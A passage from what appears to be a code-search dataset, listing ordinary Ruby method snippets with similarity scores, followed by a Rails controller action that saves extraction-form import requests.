"def reconstructions\n @reconstructions ||= Scraper.instance.get_all(Reconstruction, @path, [\n [:protoform, 'span', lambda {|x| Nokogiri::HTML(x).text}],\n [:path, 'a[4]/@href'],\n [:description, 'self::li', lambda {|x|\n Nokogiri::HTML(x)\n .text\n .encode('UTF-8', 'UTF-8', :invalid => :replace)\n .match(/'(.*)'/)[1]\n }],\n [:semantic_field, nil, lambda {|x| @semantic_field}]\n ], \"ul\").select {|r| r.path != ''}\n end",
"def work_meta_list(work)\n # if we're previewing, grab the unsaved date, else take the saved first chapter date\n published_date = (@chapter && params[:preview_button]) ? @chapter.published_at : work.first_chapter.published_at\n list = [['Published:', localize(published_date)], ['Words:', work.word_count], ['Chapters:', work.chapter_total_display]]\n if work.chaptered?\n prefix = work.is_wip ? \"Updated:\" : \"Completed:\"\n list.insert(1, [prefix, localize(work.revised_at.to_date)])\n end\n '<dl>' + list.map {|l| '<dt>' + l.first + '</dt><dd>' + l.last.to_s + '</dd>'}.to_s + '</dl>'\n end",
"def copies_printed\n return @copies_printed\n end",
"def show\n @inputs = @article.inputs.last(50)\n @outputs = @article.outputs.last(50)\n @balances = @article.balances.last(50)\n end",
"def history\r\n\r\n end",
"def get_history_info(patient_injury)\n case patient_injury.accident_type\n when \"Employment\" # box 10a\n text_box \"X\", :at => [245, 511]\n #check the no boxs\n text_box \"X\", :at => [289, 488]\n text_box \"X\", :at => [289, 464]\n when \"Auto\" # box 10b\n text_box \"X\", :at => [245, 488]\n text_box patient_injury.accident_state, :at => [318, 488]\n #check the no boxes\n text_box \"X\", :at => [289, 511]\n text_box \"X\", :at => [289, 464]\n when \"Other\" # box 10c\n text_box \"X\", :at => [245, 464]\n # check the no boxes\n text_box \"X\", :at => [289, 488]\n text_box \"X\", :at => [289, 464]\n end\n\n #box 16 - unable to work\n if patient_injury.unable_to_work_start\n text_box patient_injury.unable_to_work_start.strftime(\"%m\"), :at => [388, 367]\n text_box patient_injury.unable_to_work_start.strftime(\"%d\"), :at => [408, 367]\n text_box patient_injury.unable_to_work_start.strftime(\"%y\"), :at => [425, 367]\n end\n if patient_injury.unable_to_work_stop\n text_box patient_injury.unable_to_work_stop.strftime(\"%m\"), :at => [487, 367]\n text_box patient_injury.unable_to_work_stop.strftime(\"%d\"), :at => [504, 367]\n text_box patient_injury.unable_to_work_stop.strftime(\"%y\"), :at => [523, 367]\n end\n\n #box 18 - hospitalization\n if patient_injury.hospitalization_start\n text_box patient_injury.hospitalization_start.strftime(\"%m\"), :at => [388, 343]\n text_box patient_injury.hospitalization_start.strftime(\"%d\"), :at => [408, 343]\n text_box patient_injury.hospitalization_start.strftime(\"%y\"), :at => [425, 343]\n end\n if patient_injury.hospitalization_stop\n text_box patient_injury.hospitalization_stop.strftime(\"%m\"), :at => [487, 343]\n text_box patient_injury.hospitalization_stop.strftime(\"%d\"), :at => [504, 343]\n text_box patient_injury.hospitalization_stop.strftime(\"%y\"), :at => [523, 343]\n end\n # box 14\n text_box patient_injury.start_illness.strftime(\"%m\"), :at => [14, 367]\n text_box patient_injury.start_illness.strftime(\"%d\"), :at => [32, 367]\n text_box patient_injury.start_illness.strftime(\"%y\"), :at => [50, 367]\n end",
"def print\n # trace \"@filename2books:\"\n if @filename2books\n @filename2books.each do |_filename,books|\n # trace \" filename: #{filename}\"\n # trace \" books:\"\n if books.empty?\n # trace \" []\"\n else\n books.each do |book|\n if book.weakref_alive?\n # trace \"#{book}\"\n else # this should never happen\n # trace \"weakref not alive\"\n end\n end\n end\n end\n end\n end",
"def cleanup\n show do\n title \"Discard stripwells\"\n note \"Please discard all stripwells.\"\n operations.each do |op|\n op.input(\"PCR\").collection.mark_as_deleted\n end\n end\n \n show do\n title \"Make sure machine in parked position\"\n check \"Click \\\"Processes\\\" -> \\\"Parked\\\" icon.\"\n image \"Actions/Fragment Analyzer/frag_an_parked.JPG\"\n end\n end",
"def display_source_determinations # :yields: String identifying the lot or specimen the extract came from\n specimen_id && (return Specimen.find(specimen_id).display_name(:type => :determinations))\n return Lot.find(lot_id).display_name(:type => :determination)\n end",
"def extra_description\n \"for #{@for.join(\".\")}\" if @for\n end",
"def lift\r\n show_blank(size)\r\n @contents.pop\r\n end",
"def presentation\n\tif not @arc_logz.empty?\n\t\t@arc_logz.each do |log|\n\t\t\tputs \"#{FYEL}Archived Log File Found#{HC}#{FWHT}: #{log.chomp}#{RS}\"\n\t\tend\n\tend\n\tif not @bin_logz.empty?\n\t\t@bin_logz.each do |log|\n\t\t\tputs \"#{FGRN}Binary Log File Found#{HC}#{FWHT}: #{log.chomp}#{RS}\"\n\t\tend\n\tend\n\tif not @logz.empty?\n\t\[email protected] do |log|\n\t\t\tputs \"#{FGRN}Non-Binary Log File Found#{HC}#{FWHT}: #{log.chomp}#{RS}\"\n\t\tend\n\tend\n\tputs\nend",
"def finalize \t\n #puts \"STUDY ID: #{session[:study_id]}\\nef_id: #{session[:extraction_form_id]}\\n\\n\"\n @included_sections = ExtractionFormSection.get_included_sections(session[:extraction_form_id])\t\n @study_note = StudyStatusNote.find(:first, :conditions=>[\"study_id=? AND extraction_form_id=?\", session[:study_id], session[:extraction_form_id]],:select=>[\"note\",\"updated_at\"])\n render :layout=>false\n end",
"def print\n puts \"====== Pastes History ======\".green\n unless @links.empty?\n @links.each_with_index { |l, i| puts \"#{i+1}. #{l}\" }\n else\n puts \"your history is empty...\"\n end\n puts \"============================\".green\n end",
"def output_headers\r\n if self.instruction.raw?\r\n self.instruction.raw_html.scan(/result\\[(\\S*)\\]/).flatten.sort\r\n else\r\n self.instruction.form_fields.map(&:label).sort\r\n end\r\n end",
"def look\n puts \"*#{@short_description}*\"\n puts \"#{@long_description}\"\n puts\n to_show = contents.reject{|o| o.name == 'self'}\n room_descr_items = to_show.select{|o| o.room_description} #items that have a special room_description value, which is prose overriding \n #the simple behavior of just listing the name of an item during room description.\n to_show.reject! {|x| room_descr_items.include?(x) }\n room_descr_items.each do |item|\n puts item.room_description\n end\n if not to_show.empty?\n print \"You can see \"\n to_show.each do |obj|\n print \"and \" if obj == to_show.last && obj != to_show.first\n print \"#{obj.name} \"\n end\n puts \"here.\"\n end\n end",
"def show_libra_work( work )\n\n return if work.nil?\n j = JSON.parse( work.to_json )\n j.keys.sort.each do |k|\n val = j[ k ]\n if k.end_with?( '_id' ) == false && k.end_with?( '_ids' ) == false\n show_field( k, val, ' ' )\n end\n end\n\n show_field( 'visibility', work.visibility, ' ' )\n\n Author.sort( work.authors ).each_with_index do |p, ix|\n show_person( \" author #{ix + 1}:\", p )\n end\n\n Contributor.sort( work.contributors ).each_with_index do |p, ix|\n show_person( \" contributor #{ix + 1}:\", p )\n end\n\n if work.file_sets\n file_number = 1\n fs = work.file_sets.sort { |x, y| x.date_uploaded <=> y.date_uploaded }\n fs.each do |file_set|\n puts \" file #{file_number} => #{file_set.label}/#{file_set.title[0]} (/downloads/#{file_set.id})\"\n file_number += 1\n end\n end\n\n puts '*' * 40\n\n end",
"def previous\n layout.rows[number-1] unless first?\n end",
"def show (i)\n puts \"@#{@line}:\" \\\n \"\\t#{@output[i].scan(/.{4}|.+/).join(\"_\") unless @instruction.nil?}\" \\\n \"\\t#{@cmd[:comments]}\"\n end",
"def record_display\n string = \"#{id}. Title: #{title}\\n Author: #{author}\\n ISBN: #{isbn}\\n\"\n if library.nil?\n string += \" Library: None\\n\"\n else\n string += \" Library: #{library.branch_name}\\n\"\n end\n if patron.nil?\n string += \" Checked Out: Available\"\n else\n string += \" Checked Out: #{patron.name}\"\n end\n string\n end",
"def show\n @data.each do | row |\n row.each do | cell |\n if cell.infected?\n print \"%3s\" % cell.virus.generation\n else\n print \" #{cell.content} \"\n end\n end\n puts\n end\n end",
"def displayed?; end",
"def preview\n frm.button(:value=>\"Preview\").click\n @@file_number=0\n AssignmentStudentPreview.new(@browser)\n end",
"def preview\n frm.button(:value=>\"Preview\").click\n @@file_number=0\n AssignmentStudentPreview.new(@browser)\n end",
"def details; end",
"def old_text\n return @old_text\n end",
"def film_dev_info()\n return @film_dev_info unless @film_dev_info.nil?\n @film_dev_info = @images.first.machine_tags =~ /filmdev:recipe=([0-9]+)/ ? \"<span class='small'><a href='http://filmdev.org/recipe/show/#{$~[1]}'>development receipe #{$~[1]}</a></span>\" : \"\"\n end",
"def display()\r\n #final presenter as a string spaced out\r\n presentWord = \"\"\r\n #iterate the shadow word\r\n @shadowWord.each { |x| \r\n #add a space in the letters\r\n presentWord += x + \" \"\r\n }\r\n #remove the trailing spaces as spec\r\n presentWord.rstrip\r\n end",
"def output\n changes\n rescue StandardError => e\n [\n e.message,\n e.backtrace.join(\"/n\")\n ]\n end",
"def show\n @history = ExchangeRecord.get_historical_data(@exchange_combination.base,\n @exchange_combination.target)\n end"
] |
[
"0.6188614",
"0.5512384",
"0.54955465",
"0.5444025",
"0.54127556",
"0.5347082",
"0.5341701",
"0.5308936",
"0.53028536",
"0.5296642",
"0.52605534",
"0.5211679",
"0.52111423",
"0.51869005",
"0.5182116",
"0.51765656",
"0.51762694",
"0.5174502",
"0.51426315",
"0.5122699",
"0.51206666",
"0.51141495",
"0.5097729",
"0.5094227",
"0.50891405",
"0.50761306",
"0.5071105",
"0.5071105",
"0.5071105",
"0.5071105",
"0.5071105",
"0.5057379",
"0.50474334",
"0.50346106",
"0.50140476",
"0.50112325",
"0.5006938",
"0.50043786",
"0.49782553",
"0.4968308",
"0.4964082",
"0.49556708",
"0.4947122",
"0.4947122",
"0.4947122",
"0.4938008",
"0.49369088",
"0.4936601",
"0.49273786",
"0.49272335",
"0.4926865",
"0.49229687",
"0.49121195",
"0.49022138",
"0.49021187",
"0.4896866",
"0.48919374",
"0.4885848",
"0.48767126",
"0.48765305",
"0.48741686",
"0.48661822",
"0.48646045",
"0.48618457",
"0.48573002",
"0.48487514",
"0.484485",
"0.48406985",
"0.48378152",
"0.48353016",
"0.48331404",
"0.48323894",
"0.48248753",
"0.48245683",
"0.48193383",
"0.48183322",
"0.48143572",
"0.48086944",
"0.48074752",
"0.48035294",
"0.4799951",
"0.47969392",
"0.47957718",
"0.4795082",
"0.4790868",
"0.47845042",
"0.47815186",
"0.4775246",
"0.4773294",
"0.4771138",
"0.4770428",
"0.4769919",
"0.47683907",
"0.47683907",
"0.4768137",
"0.4767586",
"0.47628638",
"0.47619998",
"0.4759421",
"0.4757273"
] |
0.51039976
|
22
|
save any import requests made by the user
|
def save_import_request
# set up for arms page:
@extraction_form = ExtractionForm.find(params[:extraction_form_id])
@project = Project.find(params[:project_id])
@donors = ExtractionFormSectionCopy.get_donor_forms(@extraction_form.id,"arms")
@donor_info = ExtractionFormSectionCopy.get_donor_info(@donors,"ExtractionFormArm")
@arms = ExtractionFormArm.where(:extraction_form_id => @extraction_form.id)
@extraction_form_arm = ExtractionFormArm.new
@extraction_form_section = ExtractionFormSection.where(:extraction_form_id => @extraction_form.id, :section_name => "arms").first
@extraction_form_section = ExtractionFormSection.new
# collect the params and add the requests to a junction table
unless params[:import_section].nil?
input = params[:import_section]
ExtractionFormSectionCopy.setup_import(@extraction_form.id,input)
end
unless params[:import_section].nil?
flash[:success] = "Import settings were successfully updated."
else
flash[:notice] = "No previous information was imported for this form."
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def post_import\n end",
"def save_import\n if platinum_user_and_above?\n uid = current_user.id\n existing_domains = Domain.pluck(:name)\n data_dir = Rails.root.join('shared', 'data')\n # save import to cache file\n file = data_dir.join('domains')\n f = File.open(file, 'w+')\n f.write(params[:file_content])\n f.close\n # calculate the domains from import\n my_domains = Array.new\n params[:file_content].split(\"\\n\").map do |x|\n next if x =~ /^\\#/\n next if [\"\",nil].include? x\n my_domains.push(x.split(',')[0])\n end\n raise ImportLimitError if my_domains.size>10\n # remove user defined obsolete domains from db\n domains_to_remove = existing_domains - my_domains\n Domain.where(:name => domains_to_remove).delete_all\n # add user defined new domains into system\n domains_to_add = my_domains - existing_domains\n new_domains = Hash.new\n domains_to_add.map {|y| new_domains[y] = true}\n if new_domains.size > 0\n DomainCheckWorker.perform_async(uid,data_dir.to_s,new_domains)\n end\n render json: { message: 'Saving successed.' }\n else\n render json: { message: 'Access Denied.' }\n end\n rescue ImportLimitError => e\n render json: { message: e.message }\n rescue Psych::SyntaxError\n file = File.open(params[:file_path], 'w+')\n file.write(@restore)\n file.close\n render json: { message: 'Saving failed, please check your file again or contact the site administrator.' }\n end",
"def request_import\n end",
"def save\n import\n errors.none?\n end",
"def save\n response = Intercom.post(\"users/impressions\", to_hash)\n self.update_from_api_response(response)\n end",
"def apply_imports\n if session[:imports]\n begin\n session[:imports].apply\n rescue => bang\n add_flash(_(\"Error during 'apply': %{error}\") % {:error => bang}, :error)\n @sb[:show_button] = true\n else\n add_flash(_(\"Records were successfully imported\"))\n @sb[:show_button] = false\n session[:imports] = @sb[:imports] = nil\n end\n else\n add_flash(_(\"Use the Choose file button to locate CSV file\"), :error)\n @sb[:show_button] = true\n end\n flash_to_session\n redirect_to(:action => 'explorer', :no_refresh => true)\n end",
"def import\n scan_files\n # import non-imported files\n\tto_be_executed = Execution.where(:passerelle_id => @passerelle.id, :statut => \"nex\").order('created_at')\n\tto_be_executed.each{ |execution|\n\t\texecution.statut = \"ece\" #note : En Cours d'Execution\n\t\texecution.save!\n\t}\n\tto_be_executed.each{ |execution|\n\t\n\t\n\tbegin\n\t import_exe execution\n\t statut = \"ok\"\n\trescue Exception => e\n\t\t @rapport_import << \"Fail<\\br>\"\n\t\t @rapport_import << \"Error message => : #{e.message}<\\br>\"\n\t\t @rapport_import << \"Error backtrace => #{e.backtrace}<\\br>\"\n\t\t Logger.send(\"warn\",\"[Passerelle] Import FAIL !\")\n\t\t Logger.send(\"warn\",\"[Passerelle] Rapport : #{@rapport_import}\")\n\t\t statut = \"err\"\n\tend\n\t\t\n\t\texe_to_save = Execution.find execution.id\n\t\texe_to_save.statut = statut\n\t\texe_to_save.description = @result[:description]\n\t\texe_to_save.save!\n\t}\n @passerelle.updated_at = DateTime.now\n @passerelle.save!\n\t\n\tres = Hash.new\n\tres[\"updated\"] = true\n\t# res[\"message\"] = \"desc\"\n\t\n\treturn res\n end",
"def import\n User.import(params[:file])\n flash[:notice] = \"Dormers imported.\"\n flash[:color] = \"valid\"\n\n\n redirect_to generatedb_path\n end",
"def apply_imports\n assert_privileges(\"ops_settings\")\n\n if session[:imports]\n begin\n session[:imports].apply\n rescue => bang\n add_flash(_(\"Error during 'apply': %{error}\") % {:error => bang}, :error)\n @sb[:show_button] = true\n else\n add_flash(_(\"Records were successfully imported\"))\n @sb[:show_button] = false\n session[:imports] = @sb[:imports] = nil\n end\n else\n add_flash(_(\"Use the Choose file button to locate CSV file\"), :error)\n @sb[:show_button] = true\n end\n flash_to_session\n redirect_to(:action => 'explorer', :no_refresh => true)\n end",
"def delegate_import\n if Rails.env == 'development'\n # use local file path on development\n csv = open(self.import.import_file.time_slots.path)\n else\n # use s3 file on production\n csv = open_tmp_file(self.import.import_file.time_slots.url)\n end\n\n\n # Send file to attendance module using import api\n # The last two headers are: vacancy (it doesn't matter) and school_id (already imported)\n response = RestClient.post Attendance::HOST + '/api/v0/imports',\n app_key: Attendance::API_KEY,\n account_name: self.import.account.name,\n import: {\n object: 'TimeSlot',\n csv_file: csv,\n headers: headers\n }\n if response.code == 201\n # If import was created successfully create a time_slot importer\n #that will show the status of this import\n remote_import_id = JSON.parse(response.body)['id']\n self.update_attributes(status_url: Attendance::HOST + '/api/v0/imports/' + remote_import_id.to_s)\n end\n end",
"def import\n User.import(params[:file])\n redirect_to users_path\n end",
"def import\n Gift.import(params[:file], params[:activity])\n redirect_to import_export_url, notice: \"Gifts imported.\"\n end",
"def import_efforts\n authorize @event\n file_url = FileStore.public_upload('imports', params[:file], current_user.id)\n if file_url\n if Rails.env.production?\n ImportEffortsJob.perform_later(file_url, @event, current_user.id, params.slice(:time_format, :with_times, :with_status))\n render json: {message: 'Import in progress.'}\n else\n ImportEffortsJob.perform_now(file_url, @event, current_user.id, params.slice(:time_format, :with_times, :with_status))\n render json: {message: 'Import complete.'}\n end\n else\n render json: {errors: ['Import file too large.']}, status: :bad_request\n end\n end",
"def import()\n # TODO\n end",
"def import\n if current_user.items.import(params[:file]) == false\n #False encountered means atleast one invalid item\n flash[:danger] = \"Error Encountered. No Items Imported. Please check CSV File.\"\n redirect_to spage3_path\n else \n #True means all valid items so save all of them\n current_user.items.import1(params[:file])\n flash[:success] = \"All Items Imported Successfully.\"\n redirect_to spage3_path\n end\n end",
"def setup\n @last_import_data = { string_field: \"import four\", integer_field: 4, extra_field: \" extra\" }\n end",
"def finish_import(success)\n relinquish_claim(success)\n end",
"def import\n if params[:commit] == 'Cancel'\n session[:people_file_path] = nil\n redirect_to(:action => 'index')\n\n elsif params[:commit] == 'Import'\n Duplicate.delete_all\n path = session[:people_file_path]\n if path.blank?\n flash[:warn] = \"No import file\"\n return redirect_to(admin_people_path)\n end\n \n people_file = PeopleFile.new(File.new(path))\n people_file.import(params[:update_membership], params[:year])\n flash[:notice] = \"Imported #{pluralize(people_file.created, 'new person')} and updated #{pluralize(people_file.updated, 'existing person')}\"\n session[:people_file_path] = nil\n if people_file.duplicates.empty?\n redirect_to admin_people_path\n else\n flash[:warn] = 'Some names in the import file already exist more than once. Match with an existing person or create a new person with the same name.'\n redirect_to duplicates_admin_people_path\n end\n expire_cache\n\n else\n raise \"Expected 'Import' or 'Cancel'\"\n end\n end",
"def post_import(&block)\n Autoproj.post_import(self, &block)\n end",
"def save!\n # Scrub some fields\n @data[\"installed\"].sort!\n @data[\"installed\"].uniq!\n\n # Save\n @path.open(\"w+\") do |f|\n f.write(JSON.dump(@data))\n end\n end",
"def add_user_to_import(canvas_user)\n @sis_user_import << canvas_user\n end",
"def set_import\n @import = Import.find(params[:id])\n end",
"def import\n end",
"def import\n end",
"def import\n end",
"def import\n end",
"def save; end",
"def save; end",
"def save; end",
"def save; end",
"def save; end",
"def save; end",
"def save; end",
"def save; end",
"def save_file_entry\n @user.search_files.create!(file_path: uploaded_file_path.result, file_name: @file.original_filename, status: 'initialized')\n end",
"def save_file\n if platinum_user_and_above?\n uid = current_user.id\n data_dir = Rails.root.join('shared','data')\n @file = data_dir.join('domains')\n file = File.open(@file, 'r')\n @restore = ''\n file.each_line { |line| @restore += line }\n file.close\n file = File.open(@file, 'w+')\n file.write(params[:file_content])\n file.close\n domain_table_reload(uid,data_dir.to_s)\n render json: { message: 'Saving successful.' }\n else\n render json: { message: 'Saving failed, please check your file again.' }\n end\n rescue Psych::SyntaxError\n file = File.open(@file, 'w+')\n file.write(@restore)\n file.close\n render json: { message: 'Saving failed, please check your file again.' }\n end",
"def set_import\n @import = Import.find(params[:id])\n end",
"def set_import\n @import = Import.find(params[:id])\n end",
"def set_import\n @import = Import.find(params[:id])\n end",
"def initial_import(username, projectname)\n # set import status\n project = GithubRepo.find_by(github_user: username, project_name: projectname, user_id: current_user.id)\n\n if project.imported.nil? || !project.imported\n\n project.imported = 1\n project.save\n\n\n # encounter stop\n if Encounter.last\n Encounter.last.close\n end\n\n # new encounter\n import_campaign = Campaign.create({name: projectname,\n description: \"Imported Project for #{projectname}\",\n user_id: current_user.id\n })\n\n create_round(import_campaign, action_name, import_campaign)\n\n # import commits & issues\n list_commits username, projectname, Encounter.last, import_campaign\n list_issues username, projectname, Encounter.last, import_campaign\n\n\n end\n\n\n end",
"def import \n if params[:file].blank? \n flash[:error] = 'Please Upload File.'\n redirect_to upload_path \n else \n AdminuserLog.import(params[:file],current_user.id) \n @user = User.import(params[:file],current_user)\n redirect_to admin_user_path, notice: \"Users imported.\" \n \n end\n end",
"def backup \n @labs = Lab.all\n @import = ImportLabs.list_importable_labs\n logger.debug \"\\nimport labs: #{@import}\\n\"\n end",
"def save\n CSV.open('./db/gossip.csv', 'ab') do |csv|\n csv << [@content, @author]\n end\n end",
"def saveDataToDisk\n # Save the values of each input\n [:loginInput, :passwordInput].each do |attr|\n self.user.send(attr, self.instance_variable_get(\"@\"+attr.to_s).stringValue)\n end\n self.user.updateEvery = Controller.getOptionValue(@updateEvery.titleOfSelectedItem)\n self.user.menuBarCheckbox = @menuBarCheckbox.state == NSOnState\n \n print \"Saving user data to disk: #{self.user.getData.inspect}\\n\"\n NSKeyedArchiver.archiveRootObject_toFile_(self.user.getData, pathForDataFile)\n end",
"def save\n #we create a hash to save the values into:\n new_json = {name: @name, email: @email, permissions: @permissions}.to_json\n #we open a new file and append (a) the new values to it.\n open('users.json', 'a') do |file|\n file.puts new_json\n end\n\n end",
"def import_params\n params.require(:import).permit(:filename, :imported)\n end",
"def save_request(r)\n @last_request = r\n end",
"def prepare_pre_import\n end",
"def create\n @import = Import.new(import_params)\n authorize! :create, @import\n @import.userable = current_user.userable\n respond_to do |format|\n if @import.save\n flash[:notice] = \"Record import berhasil dibuat, proses ekstraksi sedang berjalan, mohon tidak menghapus record sampai proses selesai\"\n format.js\n format.json { render action: 'show', status: :created, location: @import }\n else\n format.js { render action: 'new' }\n format.json { render json: @import.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save\n CSV.open(\"./db/gossip.csv\", \"ab\") do |csv|\n csv << [@author, @content]\n end\n end",
"def save\n\t\tCSV.open(\"./db/gossip.csv\", \"ab\") do |csv|\n\t\t\tcsv << [@author, @content]\n\t\tend\n\tend",
"def delegate_import\n if Rails.env == 'development'\n # use local file path on development\n csv = open(self.import.import_file.products.path)\n else\n # use s3 file on production\n csv = open_tmp_file(self.import.import_file.products.url)\n end\n\n\n # Send file to fnz module using import api\n response = RestClient.post Fnz::HOST + '/api/v0/imports',\n app_key: Fnz::API_KEY,\n import: {\n object: 'Product',\n padma_id: self.import.account.name,\n upload: csv\n }\n if response.code == 201\n # If import was created successfully create a product importer\n #that will show the status of this import\n remote_import_id = JSON.parse(response.body)['id']\n self.update_attributes(status_url: Fnz::HOST + '/api/v0/imports/' + remote_import_id.to_s)\n end\n end",
"def set_imports_import\n @imports_import = Imports::Import.find(params[:imports_import_id])\n end",
"def import\n Trick.import params[:file]\n redirect_to root_path, notice: \"Imported!!\"\n end",
"def save\n CSV.open('./db/gossip.csv', 'a+') { |csv| csv << [@author, @content] }\n end",
"def import_multiple_shared\n cloned_packages = Package.clone_packages(Package.shared.where(:id => params[:selected_records]), current_unit)\n save_results = cloned_packages.map(&:save)\n\n respond_to do |format|\n unless save_results.include?(false)\n flash[:notice] = \"Successfully imported packages\"\n else \n flash[:error] = \"Failed to import all or some packages\"\n end\n \n format.html { redirect_to shared_packages_path(current_unit) }\n end\n end",
"def save_response(response)\n import.set_total_count!(response[:total_count])\n\n response[:data].each do |data_field|\n obj = class_name.new(user_id: import.user_id)\n obj.import_id = import.id\n data_to_save = { }\n Import.fields_for(import_type).each do |field_name|\n data_to_save[field_name] = data_field.send(field_name)\n end\n\n data_to_save[:user_id] = import.user_id\n data_to_save.merge!(parsed_date_fields(data_to_save['created']))\n\n obj.data = data_to_save\n obj.save\n end\n\n if response[:data].count > 0\n import.set_imported_count!(response[:data].count)\n import.set_last_id!(response[:last_id])\n end\n\n if response[:has_more]\n return last_id\n else\n return nil\n end\n end",
"def save\n file = CSV.open(File.expand_path(\"../../db/gossip.csv\", __FILE__), \"ab\") do |csv|\n csv << [@author, @content]\n end\n file.close\n end",
"def create\n authorize Import\n @import = Import.new(sanitized_params)\n @import.user = current_user\n @import.institution = current_institution\n begin\n @import.save!\n rescue => e\n render partial: \"shared/validation_messages\",\n locals: { object: @import.errors.any? ? @import : e },\n status: :bad_request\n else\n toast!(title: \"Import created\",\n message: \"An import has been created. Click its upload button \"\\\n \"to add files to it.\")\n render \"shared/reload\"\n end\n end",
"def save( defer=false )\n save_logic( defer ) \n end",
"def save\n end",
"def save_additional_data\n end",
"def save_unknown!\n\t\t @saved = []\n\t end",
"def save_action; end",
"def create\n respond_to do |format|\n if @import.save\n\n if @import.file_file_name?\n @import.import\n end\n\n format.html { redirect_to(\"/users/edit#imports\", :notice => I18n.t('backend.actions.success_create', :model => I18n.t('activerecord.capitalized_models.import'))) }\n format.xml { render :xml => @import, :status => :created, :location => @import }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @import.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def _save_to_store\n self._warnings = []\n _commit_externals \n __pack.commit # TODO: need to add some error catching and roll back the external saves where needed\n end",
"def save\n CSV.open(\"./db/gossip.csv\", \"ab\") do |csv|\n csv << [\"#{@author}\", \"#{@gossip}\"]\n\t\tend\n \tend",
"def import\n if params[:file]\n @users = User.import(params[:file])\n redirect_to root_url(:users => @users), notice: 'Users were successfully imported.'\n else\n redirect_to root_url, notice: 'Please select File to upload'\n end \n end",
"def save\n valid? && upload and distribute\n end",
"def import \n NewBiosensor.import(params[:file])\n redirect_to root_url, notice: \"Biosensors imported\" \n end",
"def import!\n return unless imported? or updated?\n\n Outgoing::Workcamp.transaction do\n import_changes.each do |change|\n change.apply(self)\n change.destroy\n end\n\n self.state = nil\n save!\n end\n end",
"def import!\n return unless imported? or updated?\n\n Outgoing::Workcamp.transaction do\n import_changes.each do |change|\n change.apply(self)\n change.destroy\n end\n\n self.state = nil\n save!\n end\n end",
"def save\n # Convert hash to JSON\n self_json = {email: @email, name: @name, permissions: @permissions}.to_json\n #Open the file and append the JSON to the file\n open('users.json', 'a') do |file|\n file.puts self_json\n end\n end",
"def save\n #code\n end",
"def import\n Worker.import(params[:file])\n redirect_to tenant_workers_path(@tenant), notice: \"Worker list imported.\"\n end",
"def save\n\t CSV.open(\"./db/gossip.csv\", \"ab\") do |csv|\n\t csv << [@author, @content]\n\t end\n\tend",
"def select\n upload_file or import_list\n load_importer\n end",
"def main_build_loop\n @import = Import.find_or_create_by(name: IMPORT_NAME) \n @import.metadata ||= {} \n handle_projects_and_users(@data, @import)\n raise '$project_id or $user_id not set.' if $project_id.nil? || $user_id.nil?\n handle_namespaces(@data, @import)\n handle_preparation_types(@data, @import)\n handle_controlled_vocabulary(@data, @import)\n\n handle_people(@data, @import) ## !created as new\n\n handle_taxa(@data, @import)\n\n checkpoint_save(@import) if ENV['no_transaction']\n\n # !! The following can not be loaded from the database they are always created anew.\n handle_collecting_events(@data, @import)\n handle_specimens(@data, @import)\n\n # handle_users(@data, @import)\n\n @import.save!\n puts \"\\n\\n !! Success \\n\\n\"\n end",
"def create\n @import = Import.new(params[:import])\n\n respond_to do |format|\n if @import.save \n book = Spreadsheet.open Rails.public_path + @import.spreadsheet.url(:original, false)\n sheet1 = book.worksheet 0\n \n success = 0\n failure = 0\n\n sheet1.each do |row|\n amount = row[4]\n\n if amount != nil and amount.to_i > 0\n payment_method = row[3]\n vendor = row[6]\n branch = row[8]\n\n date = row[1]\n parsedate = date.to_s.split('-')\n year = parsedate[0]\n month = parsedate[1]\n date = parsedate[2]\n\n time = row[2]\n parsetime = time.to_s.split(':')\n hour = parsetime[0]\n min = parsetime[1]\n sec = parsetime[2]\n\n # find out better solution for time zone setting\n invoice_datetime = Time.new(year.to_i, month.to_i, date.to_i,hour.to_i,min.to_i,sec.to_i)\n invoice_datetime = invoice_datetime + 9.hours\n pay_method_id = nil\n if payment_method == \"신한체\"\n pay_method_id = 1\n elsif payment_method == \"인터넷\" or payment_method == \"금결PG\" or payment_method == \"지불BP\"\n pay_method_id = 2\n end\n @entry = Entry.new(:user_id => @import.user_id, :team_id => @import.team_id, :import_id => @import, :amount => amount, \n :vendor => vendor, :invoice_datetime => invoice_datetime, \n :payment_method => payment_method, :branch => branch, :pay_method_id => pay_method_id )\n if @entry.save\n success += 1\n else\n failure += 1\n end\n end\n end\n format.html { redirect_to entries_path, notice: \"Successfully imported #{success} entries (#{failure} failures)\" }\n format.json { render json: @import, status: :created, location: @import }\n else\n format.html { render action: \"new\" }\n format.json { render json: @import.errors, status: :unprocessable_entity }\n end\n end\n end",
"def import\n History.import(params[:file])\n redirect_to histories_url\n end",
"def imported\n @imported_page = true\n end",
"def save\n end",
"def save\n end",
"def import\n url = \"#{self.url}/import?auth=#{self.authtoken}\"\n status, response = rest_post( url, nil )\n if ok?( status )\n return status, response['new_count'], response['update_count'], response['duplicate_count'], response['error_count']\n end\n return status, 0, 0, 0, 0\n end",
"def export\n\n end",
"def import_from_file\n path_to_file = ImportData::save_data_file(params[:import_file], current_company.id)\n if params[:import].eql?('time')\n Resque.enqueue(ImportTimeEntry, path_to_file, current_user.id, current_company.id, get_employee_user.id)\n flash[:notice] = \"The time entries are being uploaded in the background. You can continue to use the LIVIA Portal. This will not impact the upload process. A detailed report will be mailed to your registered email id once the process is completed.\"\n redirect_to(utilities_path(:radio=> \"time\"))\n elsif params[:import].eql?('expense')\n Resque.enqueue(ImportExpenseEntry, path_to_file, current_user.id, current_company.id, get_employee_user.id)\n flash[:notice] = \"The expense entries are being uploaded in the background. You can continue to use the LIVIA Portal. This will not impact the upload process. A detailed report will be mailed to your registered email id once the process is completed.\"\n redirect_to(utilities_path(:radio=> \"expense\"))\n elsif params[:import].eql?('matters')\n Resque.enqueue(ImportMatter, path_to_file, current_company.id, current_user.id, get_employee_user.id,params[:file_format])\n flash[:notice] = \"The matters are being uploaded in the background. You can continue to use the LIVIA Portal. This will not impact the upload process. A detailed report will be mailed to your registered email id once the process is completed.\"\n redirect_to(utilities_path(:radio=> \"matters\"))\n else\n #Resque.enqueue(ImportContact,params[:file_format], path_to_file, current_company.id, current_user.id, get_employee_user.id)\n ImportContact.perform(params[:file_format], path_to_file, current_company.id, current_user.id, get_employee_user.id)\n flash[:notice] = \"The contacts are being uploaded in the background. You can continue to use the LIVIA Portal. This will not impact the upload process. A detailed report will be mailed to your registered email id once the process is completed.\"\n redirect_to 